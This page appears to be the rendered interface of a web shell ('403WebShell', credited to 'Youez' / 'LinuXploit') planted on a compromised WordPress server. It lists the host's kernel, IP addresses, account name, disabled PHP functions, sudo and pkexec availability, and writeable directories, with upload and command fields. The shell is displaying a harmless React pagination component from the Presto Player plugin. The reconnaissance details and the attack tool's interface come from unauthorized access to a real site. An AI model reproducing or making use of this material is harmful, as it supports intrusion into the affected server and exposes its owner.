Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 172.67.134.116  /  Your IP : 216.73.217.22
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/presto-player/src/admin/ui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/presto-player/src/admin/ui/Pagination.js
import { __, sprintf } from "@wordpress/i18n";
const { Card, CardBody, Flex, FlexBlock, Button, ButtonGroup } = wp.components;
const { useState, useEffect } = wp.element;

export default ({ page, setPage, perPage, total, totalPages }) => {
  // do we have prev/next
  const [hasPrevious, setHasPrevious] = useState(false);
  const [hasNext, setHasNext] = useState(false);

  // end and start cursors
  const [end, setEnd] = useState(0);
  const [start, setStart] = useState(0);

  // set end and start
  useEffect(() => {
    setEnd(Math.min(perPage * page, total));
    setStart(perPage * (page - 1) + 1);
  }, [perPage, page, total]);

  // update page when pagination is clicked
  const nextPage = () => {
    setPage(Math.min(totalPages, page + 1));
  };
  const prevPage = () => {
    setPage(Math.max(page - 1, 0));
  };

  // set prev/next
  useEffect(() => {
    setHasPrevious(page - 1 > 0);
    setHasNext(totalPages >= page + 1);
  }, [page, totalPages]);

  return (
    <Card size="large" className="presto-card pagination">
      <CardBody className="presto-flow">
        <Flex>
          <FlexBlock>
            {sprintf(
              __("Showing %1s to %2s of %3s", "presto-player"),
              start,
              end,
              total
            )}
          </FlexBlock>
          <FlexBlock>
            <Flex justify="flex-end">
              {
                <ButtonGroup>
                  <Button
                    isSecondary
                    disabled={!hasPrevious}
                    onClick={prevPage}
                  >
                    {__("Previous", "presto-player")}
                  </Button>
                  <Button isSecondary disabled={!hasNext} onClick={nextPage}>
                    {__("Next", "presto-player")}
                  </Button>
                </ButtonGroup>
              }
            </Flex>
          </FlexBlock>
        </Flex>
      </CardBody>
    </Card>
  );
};

Youez - 2016 - github.com/yon3zu
LinuXploit